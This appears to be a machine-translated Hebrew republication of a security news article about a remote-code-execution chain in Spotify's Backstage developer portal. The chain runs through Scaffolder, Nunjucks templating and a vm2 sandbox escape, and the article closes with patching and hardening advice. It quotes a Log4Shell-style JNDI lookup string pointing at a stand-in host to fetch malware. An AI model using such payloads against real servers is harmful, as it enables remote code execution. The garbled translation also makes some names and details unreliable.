חור ביצוע קוד דמוי Log4Shell בכלי פיתוח Backstage הפופולרי PlatoBlockchain Data Intelligence. חיפוש אנכי. איי.

חור לביצוע קוד דמוי Log4Shell בכלי פיתוח Backstage הפופולרי

חוקרים בחברת אבטחת קידוד הענן Oxeye כתבו באג קריטי שגילו לאחרונה בערכת הכלים הפופולרית לפיתוח ענן Backstage.

שלהם לדווח כולל הסבר כיצד פועל הבאג, בתוספת קוד הוכחת מושג (PoC) המראה כיצד לנצל אותו.

Backstage הוא מה שמכונה פורטל מפתחי ענן - מעין backend לוגיקה עסקית שמקל על בניית ממשקי API מבוססי אינטרנט (ממשקי תכנות יישומים) כדי לאפשר למקודדים בתוך העסק ומחוצה לו ליצור אינטראקציה עם השירותים המקוונים שלך.

במילותיו של הפרויקט עצמו, נוצר במקור בספוטיפיי אבל עכשיו פתוח מקורות ב-GutHub:

Backstage היא פלטפורמה פתוחה לבניית פורטלים למפתחים. מופעל על ידי קטלוג תוכנה מרכזי, Backstage משחזר סדר לשירותי המיקרו ולתשתית שלך ומאפשר לצוותי המוצר שלך לשלוח קוד באיכות גבוהה במהירות - מבלי לפגוע באוטונומיה.

Backstage מאחד את כל כלי התשתית, השירותים והתיעוד שלך כדי ליצור סביבת פיתוח יעילה מקצה לקצה.

לא, גם אנחנו לא באמת יודעים מה זה אומר, אבל אנחנו כן יודעים שערכת הכלים כתובה ב-JavaScript, פועלת באמצעות מערכת JavaScript בצד השרת node.js, ושואבת רשת של תלות בשרשרת האספקה ​​מהאקולוגית של NPM.

NPM הוא קיצור של מנהל חבילות צומת, ערכת כלים אוטומטית להבטיח שקוד ה-JavaScript האחורי שלך יכול לעשות שימוש בקלות במגוון רחב של ספריות קוד פתוח המספקות כלי עוזר פופולריים וכתובים מראש לכל דבר, החל מהצפנה וניהול מסדי נתונים ועד רישום ובקרת גרסאות.

ביצוע קוד מרחוק

לרוע המזל, הבאג שנחשף היום, אם לא יתוקן, יכול לתת לאנשים מבחוץ לא מאומתים (באופן רופף, לכל מי שיכול ליצור חיבורי API לשרתים שלך) דרך להפעיל ביצוע קוד מרחוק (RCE) בתוך שרתי הלוגיקה העסקית ברשת שלך.

אולם למרבה המזל, אם פירשנו נכון את הכתיבה של Oxeye, המתקפה שהם מתארים עבור Backstage RCE שלהם תלויה ברצף של פגמי קידוד שתלויים בסופו של דבר בבאג ספציפי, המיועד CVE-2022-36067 ברכיב שרשרת אספקה ​​ש-Backstage מסתמך עליו בשם vm2.

למקרה שאתה תוהה, vm2 הוא מודול NPM לשימוש כללי שמיישם "ארגז חול של מכונה וירטואלית" שמטרתו להפוך את JavaScript שעלול להיות מסוכן לקצת יותר בטוח להפעלה בשרתים שלך.

הבאג של CVE-2022-36067 ב-vm2 היה דיווח עוד באוגוסט 2022 על ידי Oxeye עצמה (שנתנה לה שם ידידותי ליחסי ציבור של "Sandbreak", כי היא פרצה מארגז החול), וכן תוקן באופן מיידי על ידי צוות vm2 לפני כמעט שלושה חודשים.

אז, עד כמה שאנחנו יכולים לראות, אם אתה משתמש מאחורי הקלעים, תרצה לוודא שתיקנת את כל הרכיבים בסיכון בהגדרת Backstage שלך...

...אבל אם תיקנתם את רכיב ה-vm2 שהיה פגיע ל-Sandbreak לפני כל אותם חודשים, נראה שאתם לא פגיעים ישירות לניצול המתואר בחשיפה האחרונה של Oxeye.

כמו כן, אם שרתי Backstage שלך ​​מוגדרים כפי שקובעים הנחיות אבטחת סייבר טובות, עם אימות נדרש הן בקצה הרשת והן בתוך הרשת, לא תהיה בסיכון של בדיקות אקראיות "למטרות חוקרים בלבד" מאנשים "מועילים" שנקבעו כדי להראות שהם מעוניינים ב"מחקר" של איומי סייבר.

מתקפת "גבינת אמנטל".

במילים פשוטות, בעיות האבטחה החדשות שנחשפו הן תופעת הלוואי של סדרה של בעיות אבטחה, כמו חורים בפרוסות גבינת אמנטל שעלולות להחלחל ברצף אם התוקף מסוגל לסדר לפחות חור אחד על כל פרוסה.

כפי שאנו מבינים זאת, Backstage כולל רכיב בשם Scaffolder, שכפי שהשם מרמז, עוזר לך לנהל את התוספים השונים (הידועים בשם פלאגינים) שקהילת המפתחים שלך עשויה לרצות או להזדקק להם.

Scaffolder, בתורו, עושה שימוש במערכת רישום הודעות מ-Mozilla הידועה בשם Nunjucks, הכוללת את מה שמכונה תבנית מחרוזת in node.js מעגלים, כמו אינטרפולציה מיתרים בעולם Java, וכמו החלפת מחרוזת למנהלי מערכת שמשתמשים במעטפות פקודות כגון Bash.

אם אינטרפולציה של מחרוזת מצלצלת בפעמון, זה כנראה בגלל שהיא נמצאת בלב Log4Shell פגיעות עוד בדצמבר 2021, ושל ה פולינה באג באמצע 2022.

זה המקום שבו אתה יכול לשכתב את התוכן של הודעת רישום על בסיס "תווי קידוד" מיוחדים בתבנית מחרוזת, כך מחרוזת כגון $USER עשוי להיות מוחלף בשם החשבון שבו משתמש השרת, או ${PID} עשוי לאחזר את מזהה התהליך הנוכחי.

במקרה הקיצוני של Log4Shell, החשוף המסקרן ${jndi:ldap://example.com:8888/malware} יכול להערים ישירות על השרת להוריד תוכנית שנקראת malware החל מ- example.com ומפעיל אותו בשקט ברקע.

במילים אחרות, עליך לוודא לחלוטין כי נתונים המגיעים ממקור לא מהימן, כגון משתמש חיצוני, לעולם לא מועברים באופן עיוור לפונקציית תבנית מחרוזת או אינטרפולציה של מחרוזת לשימוש כטקסט התבנית עצמו.

אם משתמש מרוחק, למשל, מנסה להערים על השרת שלך על ידי מתן שם המשתמש שלו בשם ${{RISKY}} (בהנחה שספריית התבניות משתמשת ${{...}} בתור הסמן המיוחד שלו), אתה צריך לוודא שקוד הרישום שלך יתעד נכון את הטקסט השובב למראה הזה ממש כפי שהוא התקבל...

... במקום לאפשר לטקסט שנרשם להשתלט על פונקציית הרישום עצמה!

במילים של שיר תינוק ישן, אתה צריך להבטיח שלא תסיים לשיר, "יש חור בי ${{BUCKET}}, ליזה יקרה, ליזה יקרה, יש לי חור ${{BUCKET}}, ליזה היקרה. חור!"

עטוף בשמיכת בטיחות

למען ההגינות, פונקציונליות התבניות/אינטרפולציה החזקה מדי של Nunjucks עטופה על ידי Backstage בתוך עוד רכיב שרשרת אספקה, כלומר מערכת ארגז החול הנ"ל vm2, שאמורה להגביל את הסכנה שמשתמש זדוני יכול לעשות עם בובי. -נתוני קלט כלואים.

למרבה הצער, חוקרי Oxeye הצליחו לשייך את נתיבי המחרוזת החדשים שהתגלו ליצירת קוד ב-Backstage + Scaffolder + Nunjucks עם הפגיעות הישנה יותר של CVE-2022-36067 בעטיפת האבטחה vm2 על מנת להשיג פוטנציאל לביצוע קוד מרחוק בשרת Backstage .

מה לעשות?

אם אתה משתמש מאחורי הקלעים:

  • ודא שיש לך את הגרסאות העדכניות ביותר של Backstage והתלות שלו, כולל plugin-scaffolder-backend רְכִיב. לטענת Oxeye, הבאגים הרלוונטיים בקוד Backstage תוקנו עד ה-01 בספטמבר 2022, כך שכל שחרור נקודה רשמי לאחר הנתונים האלה צריך לכלול את התיקונים. בזמן הכתיבה [2022-11-1T16:00Z], זה כולל את אחורי הקלעים 1.6.0, 1.7.0 ו 1.8.0, שוחרר ב-2022-09-21, 2022-10-18 ו-2022-11-15 בהתאמה.
  • בדוק שלהתקנה של Backstage שלך ​​יש אימות מוגדר כפי שאתה מצפה. Oxeye טוען כי האימות כבוי כברירת מחדל, וכי לאחר ביצוע ה הנחיות מאחורי הקלעים, שרתי אחורי (שכנראה לא אמורים להיחשף חיצונית בכל מקרה) עדיין אפשרו גישה לא מאומתת. זה אולי מה שאתה רוצה, אבל אנו ממליצים להשתמש בבעיה זו כסיבה לבדוק שההגדרה שלך תואמת את הכוונות שלך.
  • בדוק לאילו חלקים של תשתית Backstage שלך ​​ניתן להגיע מהאינטרנט. שוב, השתמש בבעיה זו כסיבה לסרוק את הרשת שלך מבחוץ אם לא עשית זאת לאחרונה.

אם אתה משתמש node.js/NPM:

  • ודא שיש לך את הגרסה העדכנית ביותר של רכיב vm2 sandbox. ייתכן שתתקין את זה כתלות בתוכנה אחרת שבה אתה משתמש, גם אם אין לך את Backstage. הפגיעות של CVE-2022-36067 תוקנה ב-2022-08-28, אז אתה רוצה גרסת vm2 3.9.11 או במאוחר.

אם אתה מתכנת:

  • היו הגנתיים ככל האפשר כאשר קוראים לפונקציות רישום חזקות. אם אתה משתמש בשירות רישום (כולל Nunjucks או Log4J) הכולל תכונות תבניות/אינטרפולציה חזקות, כבה את כל התכונות שאינך צריך כדי שלא ניתן יהיה לנצל אותן בטעות. ודא שקלט לא מהימן לעולם לא ישמש בעצמו כתבנית, ובכך למנוע מתוקפים לגלגל מחרוזות קלט מסוכנות ישירות משלהם.
  • ללא קשר לכל אמצעי זהירות אחרים במקום, חיטא את כניסות הרישום והיציאות שלך. זכור שמישהו אחר יצטרך לפתוח את קובצי היומן שלך בעתיד. אל תאפשר למלכודות בשוגג להיכתב לקובץ היומן שלך במקום שהם עלולים לגרום לבעיות מאוחר יותר, כגון קטעי HTML עם תגי סקריפט שנשארו בפנים. (מישהו עלול לפתוח את הקובץ בדפדפן בטעות).

אפילו כאשר אתה מקבל קלט ממקור מהימן, לעתים רחוקות יש סיבה לא להעביר אותו בבדיקות חיטוי משלך לפני שאתה משתמש בו.

(אתה יכול להצדיק מדי פעם חריגה, למשל מטעמי ביצוע, אבל זה צריך להיות חריג, לא הכלל).

ראשית, בדיקה חוזרת עוזרת לך לזהות שגיאות שייתכן שקודנים קודמים עשו בתום לב; שנית, זה עוזר להגביל את התפשטותם של נתונים רעים או ממולכדים אם חלק אחר של המערכת האקולוגית שלך ייפגע.

העניין עם פרוסות גבינת אמנטל שהזכרנו קודם לכן הוא שלמרות שהן חדירות אם לפחות חור אחד מסתדר בכל דף...

...הם אטומים אם יש לפחות סדין אחד עם חורים שאינם מסתדרים כלל!


בול זמן:

עוד מ ביטחון עירום